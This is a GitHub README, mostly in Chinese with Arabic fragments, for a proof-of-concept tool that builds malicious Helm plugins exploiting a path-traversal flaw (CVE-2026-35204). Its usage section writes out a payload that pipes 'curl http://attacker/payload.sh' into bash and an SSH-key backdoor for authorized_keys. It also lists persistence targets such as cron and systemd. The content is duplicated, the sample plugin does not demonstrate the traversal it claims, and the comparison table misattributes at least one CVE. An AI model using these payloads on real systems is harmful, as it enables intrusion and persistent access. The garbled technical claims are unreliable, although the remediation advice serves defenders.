amnsecurity/CVE-2026-35204-Helm-Plugin-Traversal

GitHub: amnsecurity/CVE-2026-35204-Helm-Plugin-Traversal

针对 Helm 插件路径穿越漏洞(CVE-2026-35204)的 PoC 工具,提供恶意插件生成、漏洞利用演示及插件安全扫描功能。

Stars: 1 | Forks: 0

# ─── CVE-2026-35204 ─── CVSS 8.6
# 🏴 AMN SECURITY 🏴 ### 网络安全研究中心 | Cyber Security Research Center [![网站](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/) [![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw) [![电子邮件](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

# ⚠️ 通过 Helm 插件实现的任意文件写入漏洞 ### CVE-2026-35204 | CVSS 8.6 | 高危 ### 📋 执行摘要 **Helm**(Kubernetes 包管理器)中存在一个安全漏洞,允许在安装或更新特制的 Helm Plugin (Helm 插件) 时向文件系统中的任意位置写入文件。该漏洞源于对插件 `plugin.yaml` 文件中路径的验证不足。 攻击者可以创建一个恶意的 Helm 插件,其中包含 `plugin.yaml` 文件,在路径字段中使用路径穿越(`../`),从而导致文件被写入到指定的插件目录之外。如果文件被写入到诸如 `~/.bashrc`、`/etc/systemd/` 或 Helm hooks 文件等敏感位置,这可能会导致**执行任意命令**。 | 项目 | 详情 | |--------|----------| | **CVE** | CVE-2026-35204 | | **CVSS v3.1** | 8.6 (高危) | | **向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | | **类型** | 路径穿越 (CWE-22) / 任意文件写入 | | **产品** | Helm (Kubernetes 包管理器) | | **受影响版本** | 4.0.0 到 4.1.3 | | **修复版本** | 4.1.4+ | | **影响** | 任意文件写入 → 命令执行 | ### 🔍 漏洞详情 Helm 是 Kubernetes 的官方包管理器,用于安装和管理打包为 Charts 的应用。Helm 支持 **Plugins (插件)** 系统来扩展其功能。 #### Helm 中的插件机制 ``` ~/.local/share/helm/plugins/ ├── my-plugin/ │ ├── plugin.yaml ← ملف تعريف الإضافة │ ├── script.sh │ └── ... ``` `plugin.yaml` 文件定义了插件的属性,包括其安装路径: ``` name: my-plugin version: 1.0.0 usage: "My malicious plugin" description: "Looks legitimate" platformCommand: os: "linux" command: "script.sh" ``` #### 漏洞机制 当通过 `helm plugin install ` 安装 Helm 插件时,Helm 会下载插件内容并将其写入插件目录。问题在于 `plugin.yaml` 文件可能包含导致文件被写入指定目录之外的路径穿越序列。 ``` إضافة Helm ضارة │ ▼ تنزيل إلى ~/.local/share/helm/plugins/malicious │ ▼ plugin.yaml يحتوي على مسار متجاوز: install: ../../.bashrc │ ▼ الملف يكتب إلى ~/.bashrc بدلاً من دليل الإضافة │ ▼ عند فتح shell جديد ← تنفيذ الأوامر المضمنة ``` #### 恶意插件示例 ``` # 恶意 plugin.yaml name: malicious-plugin version: 1.0.0 description: "Useful utility plugin" # Path traversal payload install: | #!/bin/bash echo 'malicious code' >> ~/.bashrc hooks: install: | echo "export PATH=$PATH:/tmp/evil" >> ~/.bashrc ``` ### 💥 攻击场景 ``` [مهاجم] ── يبني إضافة Helm ضارة │ ▼ [مهاجم] ── يستضيف الإضافة على GitHub/public repo │ ▼ [مهاجم] ── يخدع المستخدم لتثبيت الإضافة │ helm plugin install https://github.com/attacker/malicious-plugin ▼ [Helm] ── ينزل الإضافة ويكتب الملفات │ ▼ [Path Traversal] ── الملفات تكتب في مواقع عشوائية │ ▼ [اختراق] ── تنفيذ أوامر في جلسة المستخدم التالية ``` #### 攻击场景列表 | 场景 | 目标路径 | 影响 | |-----------|-----------------|---------| | **Bash 注入** | `~/.bashrc` | 在每个新的 Bash 会话中执行命令 | | **SSH 注入** | `~/.ssh/authorized_keys` | 添加攻击者的 SSH 密钥 | | **Systemd** | `/etc/systemd/system/` | 创建恶意的 systemd 服务 | | **Kubernetes** | `~/.kube/config.bak` | 修改 kubectl 设置 | | **Cron** | `/etc/cron.d/` | 添加恶意的 cron 任务 | ### 🧪 工具使用 ``` # 创建用于测试的恶意 Helm 插件 python3 CVE-2026-35204.py --generate -n test-plugin -o ./malicious-plugin # 创建带有 Bash injection 的插件 python3 CVE-2026-35204.py --generate -n bash-inject \ --target ~/.bashrc \ --payload 'curl http://attacker/payload.sh | bash' # 创建带有 SSH key 的插件 python3 CVE-2026-35204.py --generate -n ssh-backdoor \ --target ~/.ssh/authorized_keys \ --payload 'ssh-rsa AAAAB3... attacker@evil' # 检查 Helm version python3 CVE-2026-35204.py --check # 检查特定插件 python3 CVE-2026-35204.py --scan ./plugin.yaml ``` #### 可用选项 | 选项 | 描述 | |--------|-------| | `--generate` | 生成恶意 Helm 插件 | | `-n, --name` | 插件名称 | | `-o, --output` | 输出路径 | | `--target` | 目标路径 (用于 path traversal) | | `--payload` | 要写入的内容 | | `--check` | 检查 Helm 版本 | | `--scan` | 扫描插件以查找 path traversal | | `-v, --verbose` | 显示详细输出 | ### 🛡️ 修复措施 | 措施 | 优先级 | 描述 | |---------|----------|-------| | **更新 Helm** | 🟢 立即 | 升级到 Helm 4.1.4 或更高版本 | | **审计插件** | 🟡 重要 | 审查当前安装的所有插件,检查是否存在 Path Traversal | | **不安装不受信任的插件** | 🟡 重要 | 仅使用来自可信来源的插件 | | **审查 plugin.yaml** | 🟡 重要 | 在安装任何插件之前检查其 plugin.yaml 文件 | | **限制权限** | 🔵 持续 | 以尽可能低的权限运行 Helm | #### 快速插件检查 ``` # 检查所有已安装的插件 helm plugin list # 扫描 plugin.yaml 文件 for p in ~/.local/share/helm/plugins/*/plugin.yaml; do echo "=== $p ===" cat "$p" echo done # 搜索可疑路径 grep -r "\.\." ~/.local/share/helm/plugins/ ``` ### 📊 与类似漏洞的比较 | 漏洞 | 产品 | CVSS | 机制 | |--------|--------|------|--------| | **CVE-2026-35204** (本漏洞) | Helm | 8.6 | plugin.yaml 中的 Path Traversal | | CVE-2024-43976 | Helm | 7.5 | chart 中的 Path Traversal | | CVE-2023-56171 | Helm | 6.8 | repo index 中的 Path Traversal | | CVE-2022-40897 | Helm | 5.5 | 路径未规范化 | ### 🔗 参考资料 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-35204 - **Helm GitHub**: https://github.com/helm/helm - **Helm Plugins Guide**: https://helm.sh/docs/topics/plugins/ - **CWE-22**: https://cwe.mitre.org/data/definitions/22.html # ⚠️ CVE-2026-35204 — Helm 插件路径穿越任意文件写入 ### CVSS 8.6 | 高危 | 通过恶意插件实现的任意文件系统写入 ### 执行摘要 **CVE-2026-35204** 是 **Helm**(Kubernetes 包管理器)4.0.0 至 4.1.3 版本中的一个**路径穿越**漏洞。经过特制的 Helm 插件在被安装或更新时,可以通过在 `plugin.yaml` manifest 文件中包含路径穿越序列(`../`),将文件写入任意文件系统位置。 这使得攻击者能够覆盖关键系统文件(如 `~/.bashrc`、`~/.ssh/authorized_keys` 或 systemd 单元),并在受害者下次打开 shell 或系统重启时实现任意代码执行。 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-35204 | | **CVSS v3.1** | 8.6 (高危) | | **向量** | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N | | **类型** | 路径穿越 (CWE-22) / 任意文件写入 | | **产品** | Helm (Kubernetes) | | **受影响版本** | 4.0.0 到 4.1.3 | | **修复版本** | 4.1.4+ | ### 技术细节 当通过 `helm plugin install ` 安装 Helm 插件时,插件内容会被解压并写入插件目录。然而,`plugin.yaml` manifest 可能包含路径穿越序列,从而将文件写入指定插件目录之外。 ``` # 恶意 plugin.yaml name: malicious-plugin version: 1.0.0 install: | #!/bin/bash echo 'malicious code' >> ../../.bashrc # Path traversal! ``` ### 利用场景 | 场景 | 目标路径 | 影响 | |----------|-------------|--------| | **Bash 注入** | `~/.bashrc` | 登录 shell 时执行命令 | | **SSH 后门** | `~/.ssh/authorized_keys` | 添加攻击者的 SSH 密钥 | | **Systemd 服务** | `/etc/systemd/system/` | 安装持久化服务 | | **Cron 任务** | `/etc/cron.d/` | 计划的恶意任务 | ### 工具使用 ``` # 生成恶意 Helm 插件 python3 CVE-2026-35204.py --generate -n test-plugin -o ./malicious-plugin # 带有 Bash injection payload python3 CVE-2026-35204.py --generate -n bash-inject \ --target ~/.bashrc \ --payload 'curl http://attacker/payload.sh | bash' # 检查 Helm version python3 CVE-2026-35204.py --check # 扫描插件的 path traversal python3 CVE-2026-35204.py --scan ./plugin.yaml ``` ### 修复措施 | 措施 | 优先级 | 描述 | |--------|----------|-------------| | **更新 Helm** | 🔴 立即 | 升级到 Helm 4.1.4+ | | **审计插件** | 🟡 重要 | 审查已安装的插件以查找路径穿越 | | **审查来源** | 🟡 重要 | 仅安装来自受信任来源的插件 | ### 参考资料 - **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-35204 - **Helm Plugins**: https://helm.sh/docs/topics/plugins/ - **CWE-22**: 路径穿越 ### 联系 AMN SECURITY 🌐 **网站**: https://amn.amnoffsec.workers.dev/ 📸 **Instagram**: https://www.instagram.com/ixctw 📧 **电子邮件**: ayman.mahmoudoffsec@gmail.com
标签:Helm, PoC, Web报告查看器, 子域名突变, 应用安全, 暴力破解, 漏洞分析, 路径探测, 路径遍历, 逆向工具